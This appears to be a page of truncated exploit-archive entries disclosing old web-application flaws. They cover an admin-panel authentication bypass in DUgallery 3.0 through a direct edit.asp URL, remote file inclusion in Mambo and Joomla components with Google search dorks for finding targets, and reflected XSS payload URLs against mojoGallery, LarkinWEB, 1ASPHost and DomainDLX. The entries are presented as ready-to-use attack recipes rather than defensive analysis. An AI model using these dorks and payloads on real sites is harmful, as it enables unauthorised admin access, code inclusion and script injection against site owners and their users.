DUgallery 3.0 / Remote Admin Bug

Hi Everybody! Application : DUgallery 3.0 Risk : High Risk Connecting : Remote Admin Normally, DUGallery 3.0 Admin Pannel is : http://.Com/Accessories/admin/default.asp But We Can Connect Admin Pannel No UserName and No PassWord this page ; http://.Com/Accessories/admin/edit.asp?iPic=PictureID We...

mj-rfi.txt

Hi every body... There are some Remote File Inclussion bugs on Mamabo & Joomla Script... You can search ; ex: inurl:Dork , dork, allinurl:dork on google or the other search sites.. Dork: comcomprofiler Expl: administrator/components/comcomprofiler/plugin.class.php?mosConfigabsolutepath=Shell Dork...

MojoScripts' xss vulnerable

SOFTWARE: ========= MojoScripts' mojoGallery All version DESCRIPTION: ============ dork: "Powered by mojoGallery" add to last path /admin.cgi , admin and password input scriptalert"lol"/script or all html tags ===================== mail: [email protected] , [email protected] web:...

XSS on LarkinWEB & Company

XSS Vulnerability On LarkinWEB Database Development, Web Site Design Marketing and Advertising System.. Runing HTML Codes, JScript etch... XSS Vulerability URL : http://www.larkinweb.com/secure/error.asp?msg=XSS Example:...

1asphost.txt

This is an URL Bug on 1ASPHost & DomainDLX Hosting Services Internet Sites : We Can Run Script, META Tag Or HTML Code. JScript Example 1ASP Host : http://www.1asphost.com/MainLogin.aspx?error=alert'HACKED%20!' Example DomainDLX http://www.domaindlx.com/MainLogin.aspx?error=alert'HACKED%20!'...